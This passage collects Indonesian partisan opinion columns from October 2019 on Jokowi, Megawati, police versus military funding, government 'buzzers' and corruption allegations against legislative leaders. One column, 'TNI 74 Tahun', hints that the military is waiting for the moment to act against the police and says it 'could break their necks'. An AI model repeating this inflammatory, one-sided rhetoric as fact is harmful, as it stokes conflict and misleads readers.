Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Presided Joko Widodo (Jokowi) kembali masuk dalam kelompok “The Muslim 500”. Sejenis ‘album’ (buku) tahunan yang diterbitkan Royal Islamic Strategic Studies Centre (RISSC) yang berkantor di Amman, ibu kota Yordania. Jokowi “ditempatkan” di nomor 13 untuk tahun 2020. Masuk Top 50. Yang sangat lucu adalah reaksi para pendukung Jokowi. Komentar mereka sangat memprihatinkan. Sangat ketara bahwa mereka ingin sekali mendapatkan amunisi baru untuk pencitraan Jokowi. Sekjen PPP Arsul Sani mengatakan Sabtu (5/10/2019) bahwa, “Posisi yang diraih ini sekaligus bisa menjadi jawaban bantahan bahwa beliau seorang yang anti-Islam atau tidak pro terhadap umat Islam." Ketua DPP PDIP Ahmad Basarah juga berkomentar mirip. Dia mengatakan Sabtu (6/10/2019), keberadaan Jokowi di dalam daftar 50 tokoh Islam berpengaruh itu, “Membantah tuduhan sementara kalangan yang memfitnah Jokowi sebagai Presiden RI yang tidak peduli, bahkan dianggap memusuhi kepentingan umat Islam Indonesia." Kenapa saya sebut komentar-komentar itu lucu? Karena pemeringkatan para pemimpin politik, tokoh gerakan sosial, dan para ulama serta para da’i di negara-negara Islam itu sama sekali tidak ada kaitannya dengan bagaimana orang-orang itu dipersepsikan di dalam negeri mereka. Artinya, ketika seseorang ditempatkan di Top 50, itu tidak terkait dengan “kesholihan” orang itu terhadap umat Islam. Jadi, klaim Arsul Sani dan Ahmad Basarah sama sekali tidak relevan. Siapa pun presiden Indonesia, presiden Tukri, raja Yordania, raja Moroko, atau raja Arab Saudi, hampir pasti mereka akan ditempatkan di sekitar angka-angka dua digit atau satu digit. Indonesia tak mungkinlah tak masuk 50 besar. Sebab, negara ini berpenduduk lebih 200 juta warga muslim. Tidak mungkin Indonesia tak masuk 50 besar. Apa pun alasannya. Presiden SBY juga masuk ke dalam ‘album’ RISSC ini. Muslim Top 500 atau Top 50 dimulai pada 2009. Di dalam album ini, RISSC menempatkan para tokoh dari negara-negara Islam dalam urutan yang mereka sebut “the Most Influential Muslims in the World” (Orang Islam yang Paling Berpengaruh di Dunia). Jokowi tahun ini, seperti tahun-tahun terdahulu, masuk ke dalam kelompok 50 teratas. Bersama Ketum PBNU Said Aqil Siradj (SAS). Untuk tahun 2020, Jokowi “ditempatkan” di nomor 13. Sedangkan SAS di urutan ke-19. Di tahun 2019, Jokowi “didudukkan” di urutan ke-16, sementara SAS di posisi 20. Pada 2018, Jokowi di posisi ke-16 dan SAS di urutan ke-22. Di Top 50 itu ada juga Mahathir Mohamad, Anwar Ibrahim, Imran Khan (PM Pakistan), dan Recep Tayyip Erdogan (Presiden Turki). Tahun 2019, Erdogan “diletakkan” di nomor 1, pada 2018 dia di urutan ke-5. Ada juga Ali Khamenei yang berposisi 2 (2020), 4 (2019, 2018, dan 2017). Di urutan 10 besar selalu ada Raja Salman dari Arab Saudi, Raja Abdullah dari Yordania, dan beberapa nama lain termasuk Raja Mohammed dari Maroko. Di dalam kelompok Top 500 atau Top 50 itu, para tokoh yang ditaruh di sana berasal dari berbagai latar belakang. Umumnya para pemimpin negara, para raja atau putra mahkota kerajaan, dan tokoh agama. Ada pemimpin ormas Islam, para da’i kondang, dlsb. Saya berusaha mencari informasi tentang metode yang digunakan oleh RISSC dalam memperingkatkan para tokoh dari dunia Islam itu. Sayang sekali tak berhasil saya dapatkan. Tapi, kalau dilihat mulusnya proses pemeringtakan ini, kecil kemungkinan dilakukan survei lapangan untuk menetapkan nomor urut para tokoh politik, tokoh agama, dan para da’i tsb. Sangat masuk akal bahwa pemeringkatan yang berubah-ubah itu dilakukan oleh tim internal RISSC. Seperti disebut di atas tadi, peringkat seseorang tidak ada hubungannya dengan capaian maupun popularitas dia di dalam urusan domestiknya. Artinya, kalau Jokowi ditempatkan di urutan ke-13, tidak serta-merta berarti dia membela kepentingan umat Islam. Terlalu jauh untuk dikaitkan dengan sikap politik presiden atau pejabat lainnya. Tampaknya, para pendukung terlalu cepat menyematkan sesuatu ke dada Jokowi ketika mereka masih membaca berita tentang Top 500 atau Top 50.[] 6 Oktober 2019

Tenang Bu Mega, Surya Paloh Juga Abaikan Pancasila

Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Insiden Megawati (Ketum PDIP) tak menyalami Surya Paloh (Ketum Partai NasDem) di acara pelantikan anggota DPR-RI pada 1 Oktober 2019, ditanggapi cukup heboh. Terutama di media sosial. Peristiwa yang mempermalukan Paloh itu ditulis oleh beberapa pengamat sosial-politik. Penulis yang juga konsultan media dan politik, Hersubeno Arief, menggambarkan bahwa tindakan Bu Mega itu mencerminkan keseriusan perpecahan koalisi parpol pendukung Jokowi. Bung Hersubeno juga menyayangkan Bu Mega yang sengaja mempertontonkan kebencian pribadinya terhadap Paloh di depan publik. Dan tertangkap kamera pula sehingga virallah kejadian itu. Menurut Hersubeno, tidak menyalami Paloh itu menunjukkan Bu Mega adalah orang yang paling berkuasa di kubu Jokowi. Dalam arti, dia bisa sesuka hati. Mau menyalami atau tidak menyalami, tidak ada pengaruhnya terhadap kekuasaan dan kekuatan Bu Mega. Tapi, yang sangat menarik adalah analisis Narudin Joha. Penulis kondang yang selalu tajam ini mempertanyakan keberpancasilaan Bu Mega ketika dia tidak menyalami Surya Paloh di depan umum. Nasjo mempertanyakan nilai-nilai Pancasila di dalam diri Bu Mega. Nasjo menyayangkan sikap Megawati itu karena dia adalah ketua Dewan Pengarah BPIP, yaitu Badan Pembinaan Ideologi Pancasila. Intinya, menurut Nasjo, sangatlah tak pantas Bu Mega tidak menyalami Paloh. Tulisan Nasjo itu menyiratkan kesimpulan bahwa Bu Mega tidak pancasilais. Tidak mengamalkan akhlak Pancasila. Gara-gara tidak menyalami Paloh. Begitu lebih-kurang pemahaman saya. Tetapi, saya berpendapat lain. Pendapat yang berbeda ini tidak berarti tak setuju dengan Nasjo. Setuju! Hanya saja, saya ingin mengatakan agar Bu Mega tenang saja. Kenapa tenang? Karena, mohon maaf, Surya Paloh itu pun belum tentu juga pancasilais. Apakah bisa Paloh dikatakan pancasilais ketika media yang ada di tangannya, yaitu MetroTV dan Media Indonesia, hari-hari memberitakan dan memuat editorial serta analisis yang tidak berkeadilan? Meraka membela apa saja yang dilakukan para penguasa yang semakin zalim sekarang ini. Lihat saja bagaimana sepak-terjang mereka selama proses pilpres 2019 berlangsung. Nah, apakah Paloh lebih berpancasila dibandingkan Bu Mega? Tunggu dulu. Sikap diam Paloh membiarkan sepak-terjang media yang berada di bawah kerajaan bisnisnya, sangat jelas bukan moral Pancasila. Dia bukanlah seorang pancasilais sejati. Dia tidak menunjukkan akhlak Pancasila. Saya berkeberatan dengan tulisan Nasjo yang seolah menilai hanya Bu Mega yang mengabaikan nilai-nilai Pancasila. Padahal, Surya Paloh pun begitu. Bagaimana orang mau menyebut Paloh itu berpancasila ketika dia hari-hari hanya memikirkan cara agar bisnis dia semakin besar dan semakin banyak mencetak duit? Dari mana Anda bisa melihat dia pancasilais? Alangkah bagusnya dan adilnya jika Nasrudin Joha mengatakan bahwa, “Bu Mega menyalahi akhlak Pancasila dengan tidak menyalami Paloh. Tetapi, yang tak disalami kelihatan abai juga pada Pancasila.” Jadi, sekali lagi, Bu Mega tenang saja. Tak usah khawatir. Sama-sama abai kok.[] 6 Oktober 2019

Yang Perlu Diperkuat Itu TNI, Bukan Polisi

Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Kalau Presiden Indonesia paham, siapa pun presidennya, seharusnya dia memperkuat TNI. Bukan memperkuat Polisi. Memperkuat salah satu diantara kedua institusi ini menunjukkan jalan pikiran penguasa. Menunjukkan jalan pikiran presiden. Sekali lagi, siapa pun presidennya. Kalau presiden tidak punya jalan pikiran, berarti menunjukkan jalan pikiran pembisik dan sponsornya. Memperkuat TNI atau Polisi memperlihatkan dua perbedaan yang kontras. Perbedaan antara kecerdasan dan kedunguan. Perbedaan antara niat baik dan niat buruk. Presiden yang memperkuat militer adalah pemimpin yang mengerti percaturan global. Dia cerdas. Dia paham tentang ancaman terhadap eksistensi negaranya. Dia paham tentang perlunya menjaga kedaulatan dan wibawa negara dan bangsanya. Karena itu, dia pantas dikatakan punya niat baik. Sebaliknya, presiden yang memperkuat Polisi adalah pemimpin yang tak paham ancaman eksternal. Dia tak mengerti atau seolah tak mengerti tentang ancaman terhadap kedaulatan negara. Dia tak mengerti bahwa negara-negara besar dan kuat selalu punya ambisi teritorial. Lihat saja pertikaian wilayah yang tak pernah selesai. Di mana-mana. Di Asia, kita bisa baca kegigihan RRC untuk memperluas wilayah. Mereka tak segan-segan mengklaim pulau-pulau atau wilayah laut yang selama ini bukan milik mereka. Mengapa RRC berani dan percaya diri? Karena mereka merasa kuat. Dan militer mereka memang kuat. Terkuat kedua di dunia. Setujulah kita bahwa Indonesia tidak mungkin dan tak perlu menjadi seperti China dalam hal kekuatan militer. Tetapi, janganlah pula sampai seperti Papua Nugini, Laos atau Maladewa. Pantaskah negara sebegini besar dan kaya sumber daya alam cuma punya militer yang hanya bisa bertahan tiga hari? Sangat memalukan. Juga menakutkan. Kalau misalnya hari ini militer RRC mendarat, lusanya kita langsung menyerah. Ah, kalau RRC dijadikan ukuran, pastilah militer Indonesia hancur dalam beberapa hari. Ok. Kita lihat Singapura. Mereka punya 319 pesawat tempur. Semuanya mutakhir. AU negara sebesar Jakarta minus Bodetabek dengan penduduk 5 juta jiwa ini termasuk yang terkuat di dunia. Dengan personel AU hampir 15,000 orang. Mereka memiliki 60 pesawat F-16C/D dan 40 pesawat F-15SG yang dirancang khusus untuk AU Singapura. Angkatan daratnya berkekuatan 72,000 personel aktif. Plus hampir 400,000 personel wamil. Mereka memiliki peralatan perang AD yang tercanggih. Angkatan lautnya yang terbaik di Asia Tenggara. Ada 6 kapal frigat siluman (stealth) dan sejumlah kapal selam berteknologi tinggi. Tahun lalu, anggaran pertahanan Singapura mencapai lebih 210 triliun rupiah (bandingkan dengan anggaran pertahanan Indonesia yang hanya 131 triliun untuk 2020). Begitulah visi para pemimpin negara kota ini tentang pertahanan. Dari sejak mereka merdeka sampai sekarang. Dengan begitu, tidak ada yang berani coba-coba mengganggu Singapura. Demikian pula Malaysia, Thailand, Vietnam, Filipina, dll. Mereka sadar betul bahwa memperkuat militer adalah “tertib hukum alam” yang wajib mereka lakukan. Sebab, siapa pun yang menjadi presiden atau perdana menteri di negara-negara itu, mereka paham tentang kedaulatan dan martabat negara. Mereka mengerti bahwa ada banyak negara lain yang akan menggertak atau membully kalau kekuatan militer mereka hanya berkelas kacangan. Begitulah para pemimpin negara-negara yang punya niat baik. Niat baik untuk melindungi bangsa dan rakyatnya. Anehnya, selama lima tahun ini penguasa Indonesia sibuk memperkuat Polisi. Dari waktu ke waktu, dana tahunan untuk kepolisian diperbesar terus-menerus. Diperkuat peralatan, pelatihan dan jumlah personelnya. Hari ini, pimpinan Polri bangga menyebutkan bahwa polisi Indonesia adalah yang terkuat kedua di dunia setelah polisi RRC. Polri memiliki 430,000 personel. Sedangkan TNI gabungan ketiga angkatan hanya punya 455,000 personel. Nah, kira-kira apa tujuan Presiden Jokowi memperkuat Polisi? Untuk melawan agresi asingkah? Menghadapi invasi militer Amerika atau RRC? Atau untuk mengimbangi kekutan militer Singapura? Tentu tidak. Tak mungkin. Pasti tidak itu tujuan Jokowi memperkuat Polisi. Yang jelas tampak saat ini adalah bahwa polisi cenderung menggunakan kekuasaan dan kekuatannya untuk menyakiti rakyat. Ini terbukti dari cara polisi menangani rangakaian unjuk rasa belum lama berselang. Jokowi tampaknya perlu disadarkan bahwa musuh negara itu bukan rakyat. Bukan para pendemo. Bukan juga para ulama dan umat Islam. Yang menjadi ancaman itu bukan rakyat sendiri. Melainkan kekuatan asing yang sangat ingin menguasai sumber daya alam Indonesia. Yang sangat ingin menguasa wilayah darat dan laut negara ini. Jadi, yang perlu diperkuat itu adalah TNI. Bukan polisi. Sekali lagi, Dirgahayu TNI.[] 5 Oktober 2019

Buzzer Menggonggong, Kakak Pembina Berlalu

Oleh : Hersubeno Arief Jakarta, FNN - Eksistensi buzzer pemerintah tengah digugat. Inilah untuk pertamakalinya keberadaan para penggonggong dipersoalkan secara serius oleh publik dan media. Termasuk sejumlah media yang selama ini dikenal sebagai pendukung pemerintah. Selama ini para penggonggong hidup bebas merdeka. Mereka bebas menebar kabar bohong, fitnah, dan membully oposisi dan kelompok-kelompok yang kritis terhadap pemerintah. Ada yang bersembunyi di ruang gelap digital, menggunakan akun palsu. Namun banyak pula yang tampil secara terbuka. Jangan pernah coba-coba mempersoalkan dan bersikap kritis terhadap pemerintah, apalagi Presiden Jokowi. Tak ada ampun, mereka akan menggonggong, menyalak, mengejar dan membully Anda sampai habis. Mereka tak pernah bisa dijamah. Tidak tersentuh hukum. Percuma saja melaporkan mereka. Dijamin kasusnya tidak akan berlanjut. Dengan posisinya sebagai pendukung rezim penguasa, mereka masuk dalam kelompok manusia istimewa. The Untouchable. Saat ini situasinya mulai sedikit berubah. Majalah Tempo mulai mempersoalkan keberadaan mereka yang dinilai bisa membahayakan demokrasi. Majalah ini juga secara tegas menuding mereka adalah pendukung Jokowi. Tugas mereka menyebarkan kabar bohong mempengaruhi opini publik dan sikap publik. Tujuan jangka pendeknya mengamankan kebijakan pemerintah. Laman tirto.id malah melangkah lebih jauh. Dengan memanfaatkan momentum keterlibatan unjukrasa pelajar STM, mereka menguak hubungan antara para buzzer dan aparat kepolisian. Para buzzer ini mencoba mengamplifikasi operasi pembusukan terhadap anak-anak STM sebagai unjukrasa bayaran. Namun melalui penelusuran reporter tirto.id, mereka mendapatkan fakta berbeda. Diduga sejumlah nomor yang terdapat dalam tangkapan layar (screenshoot) yang disebut-sebut sebagai group percakapan WhatsApp (WAG) anak STM, milik oknum polisi. Sudah tentu dugaan itu dibantah oleh Mabes Polri. Polisi malah mengaku sudah menangkap sejumlah orang yang disebut sebagai admin WAG tersebut. Mengetahui operasi manipulatifnya terbongkar, beberapa orang buzzer segera menghapus cuitannya. Namun jejak digital mereka sudah telanjur terekam. Bukan hanya kali ini tirto.id membongkar perilaku lancung para buzzer pendukung pemerintah. Pada aksi #GejayanMemanggil yang mendorong akasi mahasiswa besar-besaran di Indonesia, tirto.id malah menunjukkan sikap tegas. tirto.id menampilkan editorial “Kami Bersama #GejayanMemanggil.” Sikap itu mereka ambil sebagai reaksi dari aksi para buzzer membusukkan aksi #GejayanMemanggil . Para buzzer menyebut aksi ini ditungganggi oleh kelompok Islam radikal dan pengusung khilafah. Tekanan publik dan media terhadap para penggonggong ini kian keras. Dalam pekan ini beredar hasil penelitian perilaku buzzer hasil riset dua orang peneliti dari Universitas Oxford, Inggris. Judulnya : The Global Disinformation Order: 2019 Global Information of Organized Social Media Manipulation. Ditulis oleh Samantha Bradshaw dan Philip N Howard. Hasil penelitian di 70 negara termasuk Indonesia itu, menemukan bukti pemerintah menggunakan buzzer untuk menekan kelompok oposisi dan memecah belah rakyat. Sudah Berlangsung Lama Kecurigaan bahwa para buzzer punya hubungan langsung dengan pusat kekuasaan, sesungguhnya sudah berlangsung lama. Keberadaan mereka yang tak tersentuh hukum, menunjukkan mereka sengaja dipelihara dan dilindungi. Rocky Gerung secara tidak langsung menyebut istana adalah pusat penyebaran hoax. Melalui akun @rockygerung dia menyebut pusat hoax nasional ada di Monas. Presiden Jokowi diketahui setidaknya pernah dua kali mengundang sejumlah orang yang disebut sebagai pegiat medsos ke istana. Pada 22 Juni 2017 dan kemudian sebulan kemudian pada tanggal 24 Agustus 2017. Pertemuan pada bulan Agustus berlangsung tertutup. Saat itu mereka hanya disebut sebagai pegiat medsos. Namun dilihat dari nama-nama yang hadir, mayoritas adalah pendukung Jokowi. Konfirmasi adanya hubungan istana dengan para buzzer ini pertamakali dibocorkan oleh situs seword.com yang dikenal sebagai pembela garis keras Jokowi. Melalui akun fanpage Facebook (2/5/2019) Seword membocorkan pertemuan puluhan orang buzzer dengan seseorang yang disebut sebagai “Kakak Pembina.” Seorang figur pengarah gerak para buzzer pendukung Jokowi. Seword menampilkan sejumlah orang yang tengah duduk disertai keterangan foto. Nama-nama yang disebut adalah: Yusuf Muhammad, Denny Siregar, Katakita, Abu Janda, Aldi El Kaezzar, Pepih Nugraha, Info Seputar Presiden, Redaksi Indonesia, Eko Kuntadhi, Komik Kita, Komik Pinggiran, Habib Think, Salman Faris, dan Sewordcom. "Tim ini memang tak terlihat. Selain Kakak Pembina dan Presiden, tak ada yang benar-benar tahu komposisi tim ini. Seperti halnya Avengers, setiap orang saling menjaga, menahan diri untuk tidak mengambil gambar. Tapi saya pikir momen ini sayang untuk tidak dibagikan dan diceritakan," demikian tulis Seword Siapa “Kakak Pembina” ini? Masih menjadi spekulasi media dan medsos. Kepala Staf Presiden Moeldoko membantah dirinya adalah “Kakak Pembina.” Moeldoko mengakui para buzzer ini adalah pendukung Jokowi. Namun keberadaan mereka saat ini mulai dirasakan mengganggu dan merugikan Jokowi. "Ya kita melihat dari emosi yang terbangun, emosi yang terbangun dari kondisi yang tercipta itu merugikan. Jadi ya yang perlu dibangun emosi positif lah," kata Moeldoko di Jakarta, Jumat (4/9). Bagi Jokowi, keberadaan buzzer ini seperti buah simalakama. Mereka sangat dibutuhkan, terutama menjelang dan selama pilpres, termasuk menjaga berbagai kebijakannya dari para pengeritik. Disisi lain keberadaan buzzer mulai sangat mengganggu, termasuk bagi kalangan pendukung Jokowi sendiri. Perilaku mereka tak terkendali. Seperti anjing penjaga, mereka akan menggonggong, menyalak, mengejar, dan meneror siapapun yang dianggap mengganggu tuannya. Gonggongan dan salakan mereka yang sangat keras, bukan hanya mengganggu orang lain, tapi juga sudah mulai mengganggu tuan mereka sendiri. Ada baiknya mumpung RUU KUHP ditunda pengesahannya, pemerintah dan DPR belajar dari Dewan Kota Saddle River. Dewan kota di wilayah Bergen, Negara Bagian New Jersey, AS itu baru saja meloloskan sebuah peraturan. Seorang pemilik akan dihukum bila gonggongan anjingnya menganggu tetangga. Hukumannya bisa didenda atau dihukum penjara. Melalui peraturan tersebut seekor anjing peliharaan dilarang menggonggong lebih dari 20 menit antara pukul 07.00 pagi hingga 22.00 malam. Atau lebih dari 15 menit antara pukul 22.00 malam hingga 07.00 pagi. Dalam KUHP yang baru akan sangat menarik dimasukkan pasal semacam itu. Seorang buzzer yang menggonggong secara berlebihan, tanpa mengenal waktu dan sangat mengganggu, maka si Kakak Pembina bisa didenda atau dihukum penjara. Dengan UU semacam itu diharapkan ada aturan dan tanggung jawab atas perilaku buzzer. Jangan sampai terjadi : BUZZER MENGGONGGONG, KAKAK PEMBINA BERLALU. End

TNI 74 Tahun: Rakyat Paham Kalian Masih Menunggu

Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Salam hormat, TNI. Kami ingat hari jadi kalian, 5 Oktober. Tapi, terus terang, kami tak tahu hari jadi mereka. Dan, alhamdulillah sekali kami tak tahu hari jadi mereka itu. Tidak tertarik juga, soalnya. Dan, bukan sekadar tak tertarik. Rakyat malah mendoakan agar mereka segera diazab Allah SWT atas kesadisan, kebrutalan, kekejaman, dan kezaliman yang mereka lakukan terhadap rakyat. Terhadap orang-orang lemah dan para ulama garis lurus. Lihat saja kalau seorang pendemo terkepung dan tertangkap oleh mereka. Habis mereka keroyok. Ramai-ramai mereka pukuli. Mereka tendang dengan sepatu laras. Mereka gebuki dengan pentungan sampai bocor. Sungguh biadab. Tapi, anehnya, penguasa negeri ini sangat suka pada mereka. Senang melihat mereka beringas terhadap rakyat. Suka melihat mereka main tembak mati. Bahkan, penguasa memberikan insentif kepada mereka. Alokasi anggaran untuk mereka sangat besar. Tidak seperti TNI yang harus urut dada soal besaran anggaran tahunan. Penguasa memang memberikan status “anak emas” kepada mereka. Tumben, untuk tahun depan (2020), kalian dapat anggaran 131.2 triliun. Memang jumlah ini terbesar di antara semua kementerian atau lembaga negara. Tapi ini ‘kan harus dibagi empat. Untuk Kemenhan, untuk TNI-AD, TNI-AL, dan TNI-AU. Padahal, ketiga angkatan harus membeli begitu banyak alat utama sistem pertahanan (alutsista) yang harganya mahal-mahal. Sudahlah. Tidak apa-apa. Anggaran kalian boleh kecil. Tapi, dukungan dan simpati rakyat sangat besar. Rasa cinta rakyat sangat besar kepada TNI. Ini yang tidak ada pada mereka. Spontanitas kalian memberikan perlindungan kepada orang yang dikejar-kejar oleh mereka, membuat rakyat bahagia meskipun banyak yang berdarah-darah. Sebaliknya, rakyat malah sudah sangat marah kepada mereka. Ada yang “benci stadium 4” pada mereka. Itu semua karena ulah mereka sebdiri yang sangat menjijikkan. Sangat memuakkan. Sangat brutal. Kalian di lingkungan TNI tahu persis betapa aroganya mereka. Betapa angkuhnya mereka. Tiap hari kalian saksikan langsung di jalanan. Kalian semua malah tampak ingin menampar mereka. Rakyat tahu dan melihat bahwa kalian pun sudah mendidih. Syukurlah, kalian masih bisa tenang. Menahan diri. Kalau kalian mau, kalian bisa patahkan leher mereka. Tapi, kalian tidak seperti mereka. Kaliana tidak angkuh seperti mereka. Kalian tidak mudah hilang akal seperti mereka. Kalian, TNI, punya martabat. Kalian memiliki akal sehat. Kalian paham kapan harus bertindak untuk menjinakkan kesadisan mereka kepada rakyat. Kalian tahu kapan itu harus dilakukan. Rakyat pun paham. Rakyat mengerti. TNI masih menunggu saat yang tepat. Dirgahayu TNI. Selalu bersama rakyat! Hidup-mati bersama rakyat! 5 Oktober 2019

Rekam Jejak Pimpinan Legislatif, Diduga Terlibat Korupsi-2

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Sementara itu, mengutip CNNIndonesia.com, Jumat (23/03/2018 19:17 WIB), kuasa hukum Setya Novanto, Maqdir Ismail, menantang KPK untuk membuktikan keterlibatan Puan dan Pramono dalam kasus korupsi yang ditaksir merugikan negara hingga Rp 2,3 triliun itu. Menurutnya, KPK memiliki penyidik dan penuntut umum untuk mencari bukti-bukti lainnya atas kesaksian Sernov. “Sekarang tugas KPK yang buktikan (keterlibatan Puan Maharani dan Pramono Anung), kan mereka ada penyidik dan penuntut umum,” katanya. Maqdir menyebut, kliennya sudah menyerahkan daftar nama para pihak yang diduga terlibat dalam kasus dugaan korupsi e-KTP kepada penyidik KPK maupun majelis hakim Pengadilan Tipikor Jakarta. Bagaimana dengan Muhaimin Iskandar? Nama Ketum DPP PKB yang akrab dipanggil Imin ini muncul dalam persidangan kasus “kardus durian” yang diduga melibatkan Imin saat dia menjabat Menteri Tenaga Kerja dan Transmigrasi. Seperti dilansir Tempo.co, Senin (6 Februari 2012 13:18 WIB), Kuasa Direksi PT Alam Jaya Papua, Dharnawati, mengatakan fee sebesar Rp 1,5 miliar yang disetornya rencananya akan diberikan untuk Menakertrans Muhaimin Iskandar. “Katanya sih untuk Pak Menteri. Tapi apakah sampai untuk Menteri, saya enggak tahu,” kata Dharna saat bersaksi untuk terdakwa kasus suap Dana Percepatan Pembangunan Infrastruktur Daerah (DPPID), Dadong Irbarelawan, di Pengadilan Tipikor Jakarta, Senin, (6/2/2012). Menurut Dharna, pada 24 Agustus 2011, ia dihubungi oleh Sekretaris Jenderal Direktorat Pengembangan dan Pembinaan Masyarakat Kawasan Transmigrasi (P2MKT) I Nyoman Suisnaya. Nyoman, yang sedang sibuk rapat, memintanya untuk berkomunikasi dengan Dadong selaku Kepala Bagian Evaluasi Program P2MKT soal commitment fee DPPID. Setelah itu, Dharna pun menyambangi Dadong di kantor Kemenakertrans Kalibata, Jakarta Selatan. Saat itulah Dadong mengatakan kepadanya soal rencana pinjaman untuk keperluan Lebaran Muhaimin. Dharna mengaku sempat bingung saat itu karena semula mengira uang Rp 1,5 miliar statusnya adalah commitment fee, bukan pinjaman untuk Menteri. Ia pun kemudian menghubungi Dhani Nawawi, bekas Staf Khusus Presiden Abdurrahman Wahid, yang ia tahu kenal dekat dengan Muhaimin. Ia meminta Dhani untuk menanyakan langsung penjelasan Dadong ke Muhaimin. Dharna diciduk petugas KPK pada 25 Agustus 2011 setelah mengantarkan duit Rp 1,5 miliar yang dibungkus kardus durian. Pada hari yang sama, KPK juga menangkap tangan Nyoman dan Dadong beserta kardus durian di kantor Kemenakertrans. Duit itu adalah bentuk ucapan terima kasih PT Alam Jaya karena terpilih sebagai kontraktor DPPID di 4 kabupaten Papua, yakni Keerom, Teluk Wondama, Manokwari, dan Mimika. senilai Rp 73 miliar. Seperti halnya Imin, nama Azis Syamsudin sempat muncul dalam persidangan di Pengadilan Tipikor Jakarta terkait korupsi lainnya. Selain namanya disebut dalam kasus simulator SIM, Azis juga sempat diperiksa KPK terkait suap Dana Perimbangan. Seperti dilansir Kompas.com, Selasa (28/08/2018, 22:45 WIB), Ketua Badan Anggaran DPR Azis Syamsuddin dari Golkar dipanggil KPK untuk dimintai keterangan dalam penyidikan kasus suap usulan dana perimbangan keuangan daerah pada RAPBN Perubahan TA 2018. Usai diperiksa KPK, Aziz menuturkan, ia diperiksa sebagai saksi untuk tersangka anggota DPR RI dari Fraksi Partai Demokrat Amin Santono. Aziz keluar dari Gedung Merah Putih KPK sekitar pukul 20.24 WIB. Kepada wartawan, ia menerangkan bahwa APBN-P 2018 tidak pernah diusulkan Pemerintah. Oleh sebab itu, kata Aziz, Banggar tak tahu menahu soal dana perimbangan keuangan daerah, terlebih korupsi di dalamnya. “APBN-P 2018 tidak pernah diusulkan Pemerintah, sehingga tidak pernah dibahas di badan anggaran,” ungkap Azis usai diperiksa KPK. Saat ditanya apakah ada pembagian fee atas pembahasan APBN-P 2018, Aziz enggan memberikan penjelasan. “Silakan tanya kepada penyidik ya,” kata mantan Ketua Banggar DPR ini. Selain Aziz, untuk kasus yang sama, KPK menjadwalkan pemeriksaan anggota DPR Komisi XI dari fraksi PAN I Gusti Agung Rai Wirajaya. Bagaimana dengan Rachmat Gobel? KPK memastikan, tidak tertutup kemungkinan untuk menyeret mantan Menteri Perdagangan ini dalam kasus suap rekomendasi penambahan kuota distribusi gula impor milik Bulog ke Sumatera Barat. Kasus kuota distribusi gula impor itumenyeret mantan Ketua DPD RI Irman Gusman yang saat itu masih sebagai tersangka. Menurut Wakil Ketua KPK Saut Situmorang, pihaknya sedang mempelajari peran Rachmat Gobel. Menurut Saut, penyidik KPK tidak perlu dituntun dalam menelusuri pihak-pihak lain untuk dimintai keterangannya. Meski demikian, untuk saat ini, sambung Saut, pihaknya belum mengagendakan pemeriksaan Rachmat Gobel sebagai saksi tersangka Irman Gusman. Jika penyidik merasa perlu meminta keterangan Rachmat Gobel, KPK akan melakukan pemanggilan. Sebelumnya, saat diperiksa KPK untuk kedua kalinya, Direktur Utama Perum Badan Urusan Logistik (Bulog) Djarot Kusumayakti menyatakan, Bulog hanya mengikuti perintah Mendag yang saat itu dijabat Rachmat Gobel. Perintah itu untuk mendistribusikan stok gula yang ada ke semua wilayah yang mengalami harga ekstrem. “Sesuai perintah dari Mendag, stok gula yang ada agar didistribusikan ke semua wilayah yang mengalami harga ekstrem,” ujarnya. “Sehingga saya ingin simpulkan, satu, tak ada kuota. Dua, kita akan kirim ke semua wilayah yang ada kenaikan ektremnya. Salah satunya Padang,” ungkap Djarot usai diperiksa sebagai saksi untuk tersangka Memi, istri Dirut CV Semesta Berjaya, Xaveriandy Susanto di gedung KPK, Rabu (12/10/2016). Jika penyidik merasa perlu meminta keterangan Rachmat Gobel, KPK akan melakukan pemanggilan. “Masih dipelajari sejauh mana perannya. (Pemanggilan sebagai saksi), kita belum sampai ke situ,” lanjut Saut. Menurut Saut, “Tapi penyidik biasanya paham untuk pendalaman pihak mana yang dimintai keterangannya,” tuturnya saat dihubungi wartawan, seperdi dilansir berbagai media, Jumat malam (14/10/2016). Secara terpisah, Pelaksana Harian (Plh) Kabiro Humas KPK Yuyuk Andriati menilai, kasus Irman bisa menjadi pintu masuk untuk menguak dugaan adanya permainan dalam kuota impor di Kementerian Perdagangan (Kemendag). “Dimungkinkan pengembangan ke arah sana nanti,” ujar Yuyuk. Jika dibutuhkan, penyidik KPK bakal meminta data-data yang dibutuhkan dari Kemendag. “Kalau data-data itu dibutuhkan, penyidik bisa diminta. Penyidik punya beberapa sumber data juga untuk memperkuat pengusutan kasus,” lanjut Yuyuk. Sandera Politik Meski Ketua MPR dan Pimpinan DPR tersebut hanya sebatas dimintai keterangan sebagai saksi – bahkan nama Puan Maharani hanya disebut tanpa dimintai keterangan – pengalaman KPK selama ini, mereka berpeluang menjadi tersangka juga akhirnya. Diseretnya Setya Novanto adalah salah satu contoh bagaimana KPK yang sebelumnya hanya dijadikan saksi atas tersangka dan terdakwa lainnya, akhirnya KPK menetapkan Setnov juga sebagai tersangka/terdakwa hingga divonis bersalah di Pengadilan Tipikor Jakarta. Contoh teranyar adalah mantan Menpora Imam Nahrawi. Tanda-tanda Imam bakal menjadi tersangka seusai Sesmenpora Gatot Dewa Broto diperiksa dalam penyelidikan KPK, Jum’at (26/7/2019). Saat itu Gatot mengaku diperiksa KPK terkait pengelolaan anggaran di Kemenpora. “KPK ingin tahu tentang pola pengelolaan anggaran dan program sepanjang tahun 2014 sampai dengan 2018. Kenapa harus saya? Karena saya sebagai Sesmenpora,” kata Gatot. Alhasil, ungkap KPK, Imam menerima suap dan gratifikasi sebesar Rp 26,5 miliar sepanjang pada 2014 hingga 2018. Isyarat penetapan tersangka kepada Imam sudah mulai tercium sejak KPK tiba-tiba menahan asisten pribadinya, Miftahul Ulum, Rabu (11/9/2019). Saat itu, penetapan tersangka pada Ulum belum diumumkan oleh KPK. Baru sepekan setelah menahan Ulum, KPK pun akhirnya mengumumkan Ulum dan Imam sebagai tersangka. Semula Imam hanya dijadikan sebagai saksi atas tersangka/terdakwa lainnya. Akankah nasib serupa juga bakal menimpa Ketua MPR dan Pimpinan DPR yang belum lama dilantik? Yang jelas, mereka kini 